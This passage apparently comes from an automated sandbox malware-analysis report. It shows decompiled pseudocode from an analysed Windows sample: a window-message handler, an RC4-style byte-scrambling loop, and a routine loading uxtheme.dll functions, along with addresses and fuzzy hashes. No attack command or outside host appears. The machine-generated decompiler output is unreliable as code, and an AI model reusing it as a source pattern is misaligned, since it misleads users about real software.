                                                          				intOrPtr _t118;
                                                          				intOrPtr _t121;
                                                          				intOrPtr _t125;
                                                          				signed int _t126;
                                                          				intOrPtr _t128;
                                                          				intOrPtr _t135;
                                                          				intOrPtr _t138;
                                                          				intOrPtr _t143;
                                                          				void* _t144;
                                                          				signed int _t145;
                                                          				signed int _t146;
                                                          				signed int _t147;
                                                          				signed int _t148;
                                                          				intOrPtr* _t149;
                                                          				intOrPtr _t151;
                                                          
                                                          				_t149 = __edx;
                                                          				_v8 = __eax;
                                                          				_push(0x4129ed);
                                                          				_push( *[fs:ecx]);
                                                          				 *[fs:ecx] = _t151;
                                                          				_t46 =  *__edx - 0x53;
                                                          				if(_t46 == 0) {
                                                          					_v16 =  *((intOrPtr*)(__edx + 8));
                                                          					_t91 =  *((intOrPtr*)(_v8 + 8)) - 1;
                                                          					__eflags = _t91;
                                                          					if(_t91 < 0) {
                                                          						L37:
                                                          						_push( *((intOrPtr*)(_t149 + 8)));
                                                          						_push( *(_t149 + 4));
                                                          						_push( *_t149);
                                                          						_t53 =  *((intOrPtr*)(_v8 + 0x10));
                                                          						L00405F44();
                                                          						 *((intOrPtr*)(_t149 + 0xc)) = _t53;
                                                          						_t118 = _t53;
                                                          						 *[fs:eax] = _t118;
                                                          						return 0;
                                                          					}
                                                          					_t92 = _t91 + 1;
                                                          					_t145 = 0;
                                                          					__eflags = 0;
                                                          					while(1) {
                                                          						_t57 =  *((intOrPtr*)( *((intOrPtr*)(E0040B654(_v8, _t145))) + 0x2c))();
                                                          						_t121 = _v16;
                                                          						__eflags = _t57 -  *((intOrPtr*)(_t121 + 0xc));
                                                          						if(_t57 ==  *((intOrPtr*)(_t121 + 0xc))) {
                                                          							break;
                                                          						}
                                                          						_t145 = _t145 + 1;
                                                          						_t92 = _t92 - 1;
                                                          						__eflags = _t92;
                                                          						if(_t92 != 0) {
                                                          							continue;
                                                          						}
                                                          						goto L37;
                                                          					}
                                                          					E0040B654(_v8, _t145);
                                                          					_t60 = E00412430(1,  *((intOrPtr*)(_v16 + 8)));
                                                          					__eflags = _t60;
                                                          					if(_t60 == 0) {
                                                          						E0040B654(_v8, _t145);
                                                          						__eflags = 0;
                                                          						_t60 = E00412430(0,  *((intOrPtr*)(_v16 + 0xc)));
                                                          					}
                                                          					_t125 =  *0x48d62c; // 0x21c0660
                                                          					_t126 =  *(_t125 + 0x40);
                                                          					__eflags = _t126;
                                                          					if(_t126 != 0) {
                                                          						__eflags =  *(_t126 + 0x110) & 0x00000008;
                                                          						if(( *(_t126 + 0x110) & 0x00000008) == 0) {
                                                          							E00424B04(_t60);
                                                          						} else {
                                                          							E00424B10();
                                                          						}
                                                          						_pop(_t128);
                                                          						 *[fs:eax] = _t128;
                                                          						return 0;
                                                          					} else {
                                                          						_pop( *[fs:0x0]);
                                                          						return _t60;
                                                          					}
                                                          				}
                                                          				_t68 = _t46 - 0xbe;
                                                          				if(_t68 == 0) {
                                                          					_t94 =  *((intOrPtr*)(_v8 + 8)) - 1;
                                                          					__eflags = _t94;
                                                          					if(_t94 < 0) {
                                                          						goto L37;
                                                          					}
                                                          					_t95 = _t94 + 1;
                                                          					_t146 = 0;
                                                          					__eflags = 0;
                                                          					while(1) {
                                                          						E0040B654(_v8, _t146);
                                                          						_t72 = E00412464( *(_t149 + 4), __eflags);
                                                          						__eflags = _t72;
                                                          						if(_t72 != 0) {
                                                          							break;
                                                          						}
                                                          						_t146 = _t146 + 1;
                                                          						_t95 = _t95 - 1;
                                                          						__eflags = _t95;
                                                          						if(_t95 != 0) {
                                                          							continue;
                                                          						}
                                                          						goto L37;
                                                          					}
                                                          					_pop(_t135);
                                                          					 *[fs:eax] = _t135;
                                                          					return 0;
                                                          				}
                                                          				_t74 = _t68 - 6;
                                                          				if(_t74 == 0) {
                                                          					_t97 =  *((intOrPtr*)(_v8 + 8)) - 1;
                                                          					__eflags = _t97;
                                                          					if(_t97 < 0) {
                                                          						goto L37;
                                                          					}
                                                          					_t98 = _t97 + 1;
                                                          					_t147 = 0;
                                                          					__eflags = 0;
                                                          					while(1) {
                                                          						E0040B654(_v8, _t147);
                                                          						_t78 = E00412480( *(_t149 + 4), __eflags);
                                                          						__eflags = _t78;
                                                          						if(_t78 != 0) {
                                                          							break;
                                                          						}
                                                          						_t147 = _t147 + 1;
                                                          						_t98 = _t98 - 1;
                                                          						__eflags = _t98;
                                                          						if(_t98 != 0) {
                                                          							continue;
                                                          						}
                                                          						goto L37;
                                                          					}
                                                          					_pop(_t138);
                                                          					 *[fs:eax] = _t138;
                                                          					return 0;
                                                          				}
                                                          				if(_t74 == 8) {
                                                          					_v9 = 0;
                                                          					__eflags =  *(__edx + 6) & 0x00000010;
                                                          					if(( *(__edx + 6) & 0x00000010) != 0) {
                                                          						_v9 = 1;
                                                          					}
                                                          					_t100 =  *((intOrPtr*)(_v8 + 8)) - 1;
                                                          					__eflags = _t100;
                                                          					if(__eflags < 0) {
                                                          						L24:
                                                          						_t82 =  *0x48d628; // 0x21c2410
                                                          						E00424D0C(_t82, 0, _t144, __eflags);
                                                          						goto L37;
                                                          					} else {
                                                          						_t101 = _t100 + 1;
                                                          						_t148 = 0;
                                                          						__eflags = 0;
                                                          						while(1) {
                                                          							__eflags = E00412400(E0040B654(_v8, _t148), _v9,  *(_t149 + 4) & 0x0000ffff);
                                                          							if(__eflags != 0) {
                                                          								break;
                                                          							}
                                                          							_t148 = _t148 + 1;
                                                          							_t101 = _t101 - 1;
                                                          							__eflags = _t101;
                                                          							if(__eflags != 0) {
                                                          								continue;
                                                          							}
                                                          							goto L24;
                                                          						}
                                                          						_t87 =  *0x48d628; // 0x21c2410
                                                          						E00424D0C(_t87,  *((intOrPtr*)(_t86 + 0x38)), _t148, __eflags);
                                                          						_pop(_t143);
                                                          						 *[fs:eax] = _t143;
                                                          						return 0;
                                                          					}
                                                          				}
                                                          				goto L37;
                                                          			}








































                                                          0x004127f9
                                                          0x004127fb
                                                          0x00412801
                                                          0x00412806
                                                          0x00412809
                                                          0x0041280e
                                                          0x00412811
                                                          0x00412916
                                                          0x0041291f
                                                          0x00412920
                                                          0x00412922
                                                          0x004129c9
                                                          0x004129cc
                                                          0x004129d0
                                                          0x004129d3
                                                          0x004129d7
                                                          0x004129db
                                                          0x004129e0
                                                          0x004129e5
                                                          0x004129e8
                                                          0x00000000
                                                          0x004129e8
                                                          0x00412928
                                                          0x00412929
                                                          0x00412929
                                                          0x0041292b
                                                          0x00412937
                                                          0x0041293a
                                                          0x0041293d
                                                          0x00412940
                                                          0x00000000
                                                          0x00000000
                                                          0x004129c1
                                                          0x004129c2
                                                          0x004129c2
                                                          0x004129c3
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004129c3
                                                          0x00412947
                                                          0x00412955
                                                          0x0041295a
                                                          0x0041295c
                                                          0x00412963
                                                          0x0041296f
                                                          0x00412971
                                                          0x00412971
                                                          0x00412976
                                                          0x0041297c
                                                          0x0041297f
                                                          0x00412981
                                                          0x0041298f
                                                          0x00412996
                                                          0x004129b2
                                                          0x00412998
                                                          0x004129a4
                                                          0x004129a4
                                                          0x004129b9
                                                          0x004129bc
                                                          0x00000000
                                                          0x00412983
                                                          0x00412983
                                                          0x00000000
                                                          0x0041298a
                                                          0x00412981
                                                          0x00412817
                                                          0x0041281c
                                                          0x00412837
                                                          0x00412838
                                                          0x0041283a
                                                          0x00000000
                                                          0x00000000
                                                          0x00412840
                                                          0x00412841
                                                          0x00412841
                                                          0x00412843
                                                          0x00412848
                                                          0x00412851
                                                          0x00412856
                                                          0x00412858
                                                          0x00000000
                                                          0x00000000
                                                          0x00412867
                                                          0x00412868
                                                          0x00412868
                                                          0x00412869
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041286b
                                                          0x0041285c
                                                          0x0041285f
                                                          0x00000000
                                                          0x0041285f
                                                          0x0041281e
                                                          0x00412821
                                                          0x00412876
                                                          0x00412877
                                                          0x00412879
                                                          0x00000000
                                                          0x00000000
                                                          0x0041287f
                                                          0x00412880
                                                          0x00412880
                                                          0x00412882
                                                          0x00412887
                                                          0x0041288f
                                                          0x00412894
                                                          0x00412896
                                                          0x00000000
                                                          0x00000000
                                                          0x004128a5
                                                          0x004128a6
                                                          0x004128a6
                                                          0x004128a7
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004128a9
                                                          0x0041289a
                                                          0x0041289d
                                                          0x00000000
                                                          0x0041289d
                                                          0x00412826
                                                          0x004128ae
                                                          0x004128b2
                                                          0x004128b6
                                                          0x004128b8
                                                          0x004128b8
                                                          0x004128c2
                                                          0x004128c3
                                                          0x004128c5
                                                          0x00412902
                                                          0x00412904
                                                          0x00412909
                                                          0x00000000
                                                          0x004128c7
                                                          0x004128c7
                                                          0x004128c8
                                                          0x004128c8
                                                          0x004128ca
                                                          0x004128e0
                                                          0x004128e2
                                                          0x00000000
                                                          0x00000000
                                                          0x004128fe
                                                          0x004128ff
                                                          0x004128ff
                                                          0x00412900
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00412900
                                                          0x004128e7
                                                          0x004128ec
                                                          0x004128f3
                                                          0x004128f6
                                                          0x00000000
                                                          0x004128f6
                                                          0x004128c5
                                                          0x00000000

                                                          APIs
                                                          • NtdllDefWindowProc_A.USER32(?,?,?,?,00000000,004129ED), ref: 004129DB
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: NtdllProc_Window
                                                          • String ID:
                                                          • API String ID: 4255912815-0
                                                          • Opcode ID: 2de937e24c8a341db88b105a2bfc621b0ec6adfce10c709336754e182a2f6e7e
                                                          • Instruction ID: cae08053b73bec1755efb0f1183a38ffbc70d66ced2271e9473eb8200285a6a8
                                                          • Opcode Fuzzy Hash: 2de937e24c8a341db88b105a2bfc621b0ec6adfce10c709336754e182a2f6e7e
                                                          • Instruction Fuzzy Hash: 165101717082058BD714EB6ED68199AF3E1FF94314F2086ABD844C3365DBB8ECA1CB18
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E10001130() {
                                                          				signed char _t24;
                                                          				signed char _t25;
                                                          				intOrPtr _t30;
                                                          				signed char _t34;
                                                          				intOrPtr _t35;
                                                          				char _t37;
                                                          				intOrPtr _t41;
                                                          				char* _t43;
                                                          				char* _t48;
                                                          				signed char* _t52;
                                                          				void* _t54;
                                                          
                                                          				_t41 =  *((intOrPtr*)(_t54 + 4));
                                                          				_t35 =  *((intOrPtr*)(_t54 + 0x10));
                                                          				_t24 =  *((intOrPtr*)(_t41 + 0x101));
                                                          				_t34 =  *(_t41 + 0x100);
                                                          				if(_t35 <= 0) {
                                                          					 *(_t41 + 0x100) = _t34;
                                                          					 *((char*)(_t41 + 0x101)) = _t24;
                                                          					return _t24;
                                                          				} else {
                                                          					_t52 =  *(_t54 + 0x14);
                                                          					 *((intOrPtr*)(_t54 + 0x18)) =  *(_t54 + 0x14) - _t52;
                                                          					 *((intOrPtr*)(_t54 + 0x20)) = _t35;
                                                          					while(1) {
                                                          						_t34 = _t34 + 1;
                                                          						_t48 = (_t34 & 0x000000ff) + _t41;
                                                          						_t37 =  *_t48;
                                                          						_t25 = _t24 + _t37;
                                                          						 *(_t54 + 0x14) = _t25;
                                                          						_t43 = (_t25 & 0x000000ff) + _t41;
                                                          						 *_t48 =  *_t43;
                                                          						 *_t43 = _t37;
                                                          						if( *((intOrPtr*)(_t54 + 0x1c)) != 0) {
                                                          							 *_t52 =  *((0 + _t37 & 0x000000ff) + _t41) ^  *( *((intOrPtr*)(_t54 + 0x18)) + _t52);
                                                          						}
                                                          						_t52 =  &(_t52[1]);
                                                          						_t30 =  *((intOrPtr*)(_t54 + 0x20)) - 1;
                                                          						 *((intOrPtr*)(_t54 + 0x20)) = _t30;
                                                          						if(_t30 == 0) {
                                                          							break;
                                                          						}
                                                          						_t24 =  *(_t54 + 0x14);
                                                          					}
                                                          					 *(_t41 + 0x100) = _t34;
                                                          					 *((char*)(_t41 + 0x101)) =  *(_t54 + 0x14);
                                                          					return _t30;
                                                          				}
                                                          			}














                                                          0x10001130
                                                          0x10001134
                                                          0x1000113a
                                                          0x10001141
                                                          0x10001147
                                                          0x100011c1
                                                          0x100011c7
                                                          0x100011ce
                                                          0x10001149
                                                          0x1000114a
                                                          0x10001156
                                                          0x1000115a
                                                          0x10001164
                                                          0x10001164
                                                          0x10001169
                                                          0x1000116c
                                                          0x1000116e
                                                          0x10001170
                                                          0x10001177
                                                          0x1000117e
                                                          0x10001186
                                                          0x10001188
                                                          0x1000119b
                                                          0x1000119b
                                                          0x100011a2
                                                          0x100011a3
                                                          0x100011a4
                                                          0x100011a8
                                                          0x00000000
                                                          0x00000000
                                                          0x10001160
                                                          0x10001160
                                                          0x100011b1
                                                          0x100011b7
                                                          0x100011be
                                                          0x100011be

                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382929761.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000001.00000002.382923512.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                          • Associated: 00000001.00000002.382935664.0000000010002000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_10000000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
                                                          • Instruction ID: 1c94840b05858ddf3503627acbaac9226f9c4a6e1659969bf0a936c2f155f8a0
                                                          • Opcode Fuzzy Hash: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
                                                          • Instruction Fuzzy Hash: FF11303254D3D28FC305CF2894506D6FFE4AF6A640F194AAEE1D45B203C2659549C7A2
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E10001000() {
                                                          
                                                          				return 1;
                                                          			}



                                                          0x10001005

                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382929761.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000001.00000002.382923512.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                          • Associated: 00000001.00000002.382935664.0000000010002000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_10000000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
                                                          • Instruction ID: 837d35c9df4effc004866add7a9100bdfed479f04b3922bb4bd4c5469ecd81ba
                                                          • Opcode Fuzzy Hash: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
                                                          • Instruction Fuzzy Hash:
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 51%
                                                          			E0044B450() {
                                                          				signed int _t3;
                                                          				signed int _t5;
                                                          				signed int _t6;
                                                          				signed int _t7;
                                                          				signed int _t8;
                                                          				signed int _t9;
                                                          				signed int _t10;
                                                          				signed int _t11;
                                                          				signed int _t12;
                                                          				signed int _t13;
                                                          				signed int _t14;
                                                          				signed int _t15;
                                                          				signed int _t16;
                                                          				signed int _t17;
                                                          				signed int _t18;
                                                          				signed int _t19;
                                                          				signed int _t20;
                                                          				signed int _t21;
                                                          				signed int _t22;
                                                          				signed int _t23;
                                                          				signed int _t24;
                                                          				signed int _t25;
                                                          				signed int _t26;
                                                          				signed int _t27;
                                                          				signed int _t28;
                                                          				signed int _t29;
                                                          				signed int _t30;
                                                          				signed int _t31;
                                                          				signed int _t32;
                                                          				signed int _t33;
                                                          				signed int _t34;
                                                          				signed int _t35;
                                                          				signed int _t36;
                                                          				signed int _t37;
                                                          				signed int _t38;
                                                          				signed int _t39;
                                                          				signed int _t40;
                                                          				signed int _t41;
                                                          				signed int _t42;
                                                          				signed int _t43;
                                                          				signed int _t44;
                                                          				signed int _t45;
                                                          				signed int _t46;
                                                          				signed int _t47;
                                                          				signed int _t48;
                                                          				signed int _t49;
                                                          				signed int _t50;
                                                          
                                                          				 *0x48d740 =  *0x48d740 + 1;
                                                          				if( *0x48d73c == 0) {
                                                          					_t3 = E0044B3FC();
                                                          					if(_t3 != 0) {
                                                          						_t3 = LoadLibraryA("uxtheme.dll");
                                                          						 *0x48d73c = _t3;
                                                          						if( *0x48d73c != 0) {
                                                          							_push("OpenThemeData");
                                                          							_t5 =  *0x48d73c;
                                                          							_push(_t5);
                                                          							L00405AA4();
                                                          							 *0x48d680 = _t5;
                                                          							_push("CloseThemeData");
                                                          							_t6 =  *0x48d73c;
                                                          							_push(_t6);
                                                          							L00405AA4();
                                                          							 *0x48d684 = _t6;
                                                          							_push("DrawThemeBackground");
                                                          							_t7 =  *0x48d73c;
                                                          							_push(_t7);
                                                          							L00405AA4();
                                                          							 *0x48d688 = _t7;
                                                          							_push("DrawThemeText");
                                                          							_t8 =  *0x48d73c;
                                                          							_push(_t8);
                                                          							L00405AA4();
                                                          							 *0x48d68c = _t8;
                                                          							_push("GetThemeBackgroundContentRect");
                                                          							_t9 =  *0x48d73c;
                                                          							_push(_t9);
                                                          							L00405AA4();
                                                          							 *0x48d690 = _t9;
                                                          							_push("GetThemeBackgroundContentRect");
                                                          							_t10 =  *0x48d73c;
                                                          							_push(_t10);
                                                          							L00405AA4();
                                                          							 *0x48d694 = _t10;
                                                          							_push("GetThemePartSize");
                                                          							_t11 =  *0x48d73c;
                                                          							_push(_t11);
                                                          							L00405AA4();
                                                          							 *0x48d698 = _t11;
                                                          							_push("GetThemeTextExtent");
                                                          							_t12 =  *0x48d73c;
                                                          							_push(_t12);
                                                          							L00405AA4();
                                                          							 *0x48d69c = _t12;
                                                          							_push("GetThemeTextMetrics");
                                                          							_t13 =  *0x48d73c;
                                                          							_push(_t13);
                                                          							L00405AA4();
                                                          							 *0x48d6a0 = _t13;
                                                          							_push("GetThemeBackgroundRegion");
                                                          							_t14 =  *0x48d73c;
                                                          							_push(_t14);
                                                          							L00405AA4();
                                                          							 *0x48d6a4 = _t14;
                                                          							_push("HitTestThemeBackground");
                                                          							_t15 =  *0x48d73c;
                                                          							_push(_t15);
                                                          							L00405AA4();
                                                          							 *0x48d6a8 = _t15;
                                                          							_push("DrawThemeEdge");
                                                          							_t16 =  *0x48d73c;
                                                          							_push(_t16);
                                                          							L00405AA4();
                                                          							 *0x48d6ac = _t16;
                                                          							_push("DrawThemeIcon");
                                                          							_t17 =  *0x48d73c;
                                                          							_push(_t17);
                                                          							L00405AA4();
                                                          							 *0x48d6b0 = _t17;
                                                          							_push("IsThemePartDefined");
                                                          							_t18 =  *0x48d73c;
                                                          							_push(_t18);
                                                          							L00405AA4();
                                                          							 *0x48d6b4 = _t18;
                                                          							_push("IsThemeBackgroundPartiallyTransparent");
                                                          							_t19 =  *0x48d73c;
                                                          							_push(_t19);
                                                          							L00405AA4();
                                                          							 *0x48d6b8 = _t19;
                                                          							_push("GetThemeColor");
                                                          							_t20 =  *0x48d73c;
                                                          							_push(_t20);
                                                          							L00405AA4();
                                                          							 *0x48d6bc = _t20;
                                                          							_push("GetThemeMetric");
                                                          							_t21 =  *0x48d73c;
                                                          							_push(_t21);
                                                          							L00405AA4();
                                                          							 *0x48d6c0 = _t21;
                                                          							_push("GetThemeString");
                                                          							_t22 =  *0x48d73c;
                                                          							_push(_t22);
                                                          							L00405AA4();
                                                          							 *0x48d6c4 = _t22;
                                                          							_push("GetThemeBool");
                                                          							_t23 =  *0x48d73c;
                                                          							_push(_t23);
                                                          							L00405AA4();
                                                          							 *0x48d6c8 = _t23;
                                                          							_push("GetThemeInt");
                                                          							_t24 =  *0x48d73c;
                                                          							_push(_t24);
                                                          							L00405AA4();
                                                          							 *0x48d6cc = _t24;
                                                          							_push("GetThemeEnumValue");
                                                          							_t25 =  *0x48d73c;
                                                          							_push(_t25);
                                                          							L00405AA4();
                                                          							 *0x48d6d0 = _t25;
                                                          							_push("GetThemePosition");
                                                          							_t26 =  *0x48d73c;
                                                          							_push(_t26);
                                                          							L00405AA4();
                                                          							 *0x48d6d4 = _t26;
                                                          							_push("GetThemeFont");
                                                          							_t27 =  *0x48d73c;
                                                          							_push(_t27);
                                                          							L00405AA4();
                                                          							 *0x48d6d8 = _t27;
                                                          							_push("GetThemeRect");
                                                          							_t28 =  *0x48d73c;
                                                          							_push(_t28);
                                                          							L00405AA4();
                                                          							 *0x48d6dc = _t28;
                                                          							_push("GetThemeMargins");
                                                          							_t29 =  *0x48d73c;
                                                          							_push(_t29);
                                                          							L00405AA4();
                                                          							 *0x48d6e0 = _t29;
                                                          							_push("GetThemeIntList");
                                                          							_t30 =  *0x48d73c;
                                                          							_push(_t30);
                                                          							L00405AA4();
                                                          							 *0x48d6e4 = _t30;
                                                          							_push("GetThemePropertyOrigin");
                                                          							_t31 =  *0x48d73c;
                                                          							_push(_t31);
                                                          							L00405AA4();
                                                          							 *0x48d6e8 = _t31;
                                                          							_push("SetWindowTheme");
                                                          							_t32 =  *0x48d73c;
                                                          							_push(_t32);
                                                          							L00405AA4();
                                                          							 *0x48d6ec = _t32;
                                                          							_push("GetThemeFilename");
                                                          							_t33 =  *0x48d73c;
                                                          							_push(_t33);
                                                          							L00405AA4();
                                                          							 *0x48d6f0 = _t33;
                                                          							_push("GetThemeSysColor");
                                                          							_t34 =  *0x48d73c;
                                                          							_push(_t34);
                                                          							L00405AA4();
                                                          							 *0x48d6f4 = _t34;
                                                          							_push("GetThemeSysColorBrush");
                                                          							_t35 =  *0x48d73c;
                                                          							_push(_t35);
                                                          							L00405AA4();
                                                          							 *0x48d6f8 = _t35;
                                                          							_push("GetThemeSysBool");
                                                          							_t36 =  *0x48d73c;
                                                          							_push(_t36);
                                                          							L00405AA4();
                                                          							 *0x48d6fc = _t36;
                                                          							_push("GetThemeSysSize");
                                                          							_t37 =  *0x48d73c;
                                                          							_push(_t37);
                                                          							L00405AA4();
                                                          							 *0x48d700 = _t37;
                                                          							_push("GetThemeSysFont");
                                                          							_t38 =  *0x48d73c;
                                                          							_push(_t38);
                                                          							L00405AA4();
                                                          							 *0x48d704 = _t38;
                                                          							_push("GetThemeSysString");
                                                          							_t39 =  *0x48d73c;
                                                          							_push(_t39);
                                                          							L00405AA4();
                                                          							 *0x48d708 = _t39;
                                                          							_push("GetThemeSysInt");
                                                          							_t40 =  *0x48d73c;
                                                          							_push(_t40);
                                                          							L00405AA4();
                                                          							 *0x48d70c = _t40;
                                                          							_push("IsThemeActive");
                                                          							_t41 =  *0x48d73c;
                                                          							_push(_t41);
                                                          							L00405AA4();
                                                          							 *0x48d710 = _t41;
                                                          							_push("IsAppThemed");
                                                          							_t42 =  *0x48d73c;
                                                          							_push(_t42);
                                                          							L00405AA4();
                                                          							 *0x48d714 = _t42;
                                                          							_push("GetWindowTheme");
                                                          							_t43 =  *0x48d73c;
                                                          							_push(_t43);
                                                          							L00405AA4();
                                                          							 *0x48d718 = _t43;
                                                          							_push("EnableThemeDialogTexture");
                                                          							_t44 =  *0x48d73c;
                                                          							_push(_t44);
                                                          							L00405AA4();
                                                          							 *0x48d71c = _t44;
                                                          							_push("IsThemeDialogTextureEnabled");
                                                          							_t45 =  *0x48d73c;
                                                          							_push(_t45);
                                                          							L00405AA4();
                                                          							 *0x48d720 = _t45;
                                                          							_push("GetThemeAppProperties");
                                                          							_t46 =  *0x48d73c;
                                                          							_push(_t46);
                                                          							L00405AA4();
                                                          							 *0x48d724 = _t46;
                                                          							_push("SetThemeAppProperties");
                                                          							_t47 =  *0x48d73c;
                                                          							_push(_t47);
                                                          							L00405AA4();
                                                          							 *0x48d728 = _t47;
                                                          							_push("GetCurrentThemeName");
                                                          							_t48 =  *0x48d73c;
                                                          							_push(_t48);
                                                          							L00405AA4();
                                                          							 *0x48d72c = _t48;
                                                          							_push("GetThemeDocumentationProperty");
                                                          							_t49 =  *0x48d73c;
                                                          							_push(_t49);
                                                          							L00405AA4();
                                                          							 *0x48d730 = _t49;
                                                          							_push("DrawThemeParentBackground");
                                                          							_t50 =  *0x48d73c;
                                                          							_push(_t50);
                                                          							L00405AA4();
                                                          							 *0x48d734 = _t50;
                                                          							_push("EnableTheming");
                                                          							_t3 =  *0x48d73c;
                                                          							_push(_t3);
                                                          							L00405AA4();
                                                          							 *0x48d738 = _t3;
                                                          						}
                                                          					}
                                                          				}
                                                          				return _t3 & 0xffffff00 |  *0x48d73c != 0x00000000;
                                                          			}


















































                                                          0x0044b456
                                                          0x0044b45f
                                                          0x0044b465
                                                          0x0044b46c
                                                          0x0044b477
                                                          0x0044b47c
                                                          0x0044b481
                                                          0x0044b487
                                                          0x0044b48c
                                                          0x0044b48e
                                                          0x0044b48f
                                                          0x0044b494
                                                          0x0044b499
                                                          0x0044b49e
                                                          0x0044b4a0
                                                          0x0044b4a1
                                                          0x0044b4a6
                                                          0x0044b4ab
                                                          0x0044b4b0
                                                          0x0044b4b2
                                                          0x0044b4b3
                                                          0x0044b4b8
                                                          0x0044b4bd
                                                          0x0044b4c2
                                                          0x0044b4c4
                                                          0x0044b4c5
                                                          0x0044b4ca
                                                          0x0044b4cf
                                                          0x0044b4d4
                                                          0x0044b4d6
                                                          0x0044b4d7
                                                          0x0044b4dc
                                                          0x0044b4e1
                                                          0x0044b4e6
                                                          0x0044b4e8
                                                          0x0044b4e9
                                                          0x0044b4ee
                                                          0x0044b4f3
                                                          0x0044b4f8
                                                          0x0044b4fa
                                                          0x0044b4fb
                                                          0x0044b500
                                                          0x0044b505
                                                          0x0044b50a
                                                          0x0044b50c
                                                          0x0044b50d
                                                          0x0044b512
                                                          0x0044b517
                                                          0x0044b51c
                                                          0x0044b51e
                                                          0x0044b51f
                                                          0x0044b524
                                                          0x0044b529
                                                          0x0044b52e
                                                          0x0044b530
                                                          0x0044b531
                                                          0x0044b536
                                                          0x0044b53b
                                                          0x0044b540
                                                          0x0044b542
                                                          0x0044b543
                                                          0x0044b548
                                                          0x0044b54d
                                                          0x0044b552
                                                          0x0044b554
                                                          0x0044b555
                                                          0x0044b55a
                                                          0x0044b55f
                                                          0x0044b564
                                                          0x0044b566
                                                          0x0044b567
                                                          0x0044b56c
                                                          0x0044b571
                                                          0x0044b576
                                                          0x0044b578
                                                          0x0044b579
                                                          0x0044b57e
                                                          0x0044b583
                                                          0x0044b588
                                                          0x0044b58a
                                                          0x0044b58b
                                                          0x0044b590
                                                          0x0044b595
                                                          0x0044b59a
                                                          0x0044b59c
                                                          0x0044b59d
                                                          0x0044b5a2
                                                          0x0044b5a7
                                                          0x0044b5ac
                                                          0x0044b5ae
                                                          0x0044b5af
                                                          0x0044b5b4
                                                          0x0044b5b9
                                                          0x0044b5be
                                                          0x0044b5c0
                                                          0x0044b5c1
                                                          0x0044b5c6
                                                          0x0044b5cb
                                                          0x0044b5d0
                                                          0x0044b5d2
                                                          0x0044b5d3
                                                          0x0044b5d8
                                                          0x0044b5dd
                                                          0x0044b5e2
                                                          0x0044b5e4
                                                          0x0044b5e5
                                                          0x0044b5ea
                                                          0x0044b5ef
                                                          0x0044b5f4
                                                          0x0044b5f6
                                                          0x0044b5f7
                                                          0x0044b5fc
                                                          0x0044b601
                                                          0x0044b606
                                                          0x0044b608
                                                          0x0044b609
                                                          0x0044b60e
                                                          0x0044b613
                                                          0x0044b618
                                                          0x0044b61a
                                                          0x0044b61b
                                                          0x0044b620
                                                          0x0044b625
                                                          0x0044b62a
                                                          0x0044b62c
                                                          0x0044b62d
                                                          0x0044b632
                                                          0x0044b637
                                                          0x0044b63c
                                                          0x0044b63e
                                                          0x0044b63f
                                                          0x0044b644
                                                          0x0044b649
                                                          0x0044b64e
                                                          0x0044b650
                                                          0x0044b651
                                                          0x0044b656
                                                          0x0044b65b
                                                          0x0044b660
                                                          0x0044b662
                                                          0x0044b663
                                                          0x0044b668
                                                          0x0044b66d
                                                          0x0044b672
                                                          0x0044b674
                                                          0x0044b675
                                                          0x0044b67a
                                                          0x0044b67f
                                                          0x0044b684
                                                          0x0044b686
                                                          0x0044b687
                                                          0x0044b68c
                                                          0x0044b691
                                                          0x0044b696
                                                          0x0044b698
                                                          0x0044b699
                                                          0x0044b69e
                                                          0x0044b6a3
                                                          0x0044b6a8
                                                          0x0044b6aa
                                                          0x0044b6ab
                                                          0x0044b6b0
                                                          0x0044b6b5
                                                          0x0044b6ba
                                                          0x0044b6bc
                                                          0x0044b6bd
                                                          0x0044b6c2
                                                          0x0044b6c7
                                                          0x0044b6cc
                                                          0x0044b6ce
                                                          0x0044b6cf
                                                          0x0044b6d4
                                                          0x0044b6d9
                                                          0x0044b6de
                                                          0x0044b6e0
                                                          0x0044b6e1
                                                          0x0044b6e6
                                                          0x0044b6eb
                                                          0x0044b6f0
                                                          0x0044b6f2
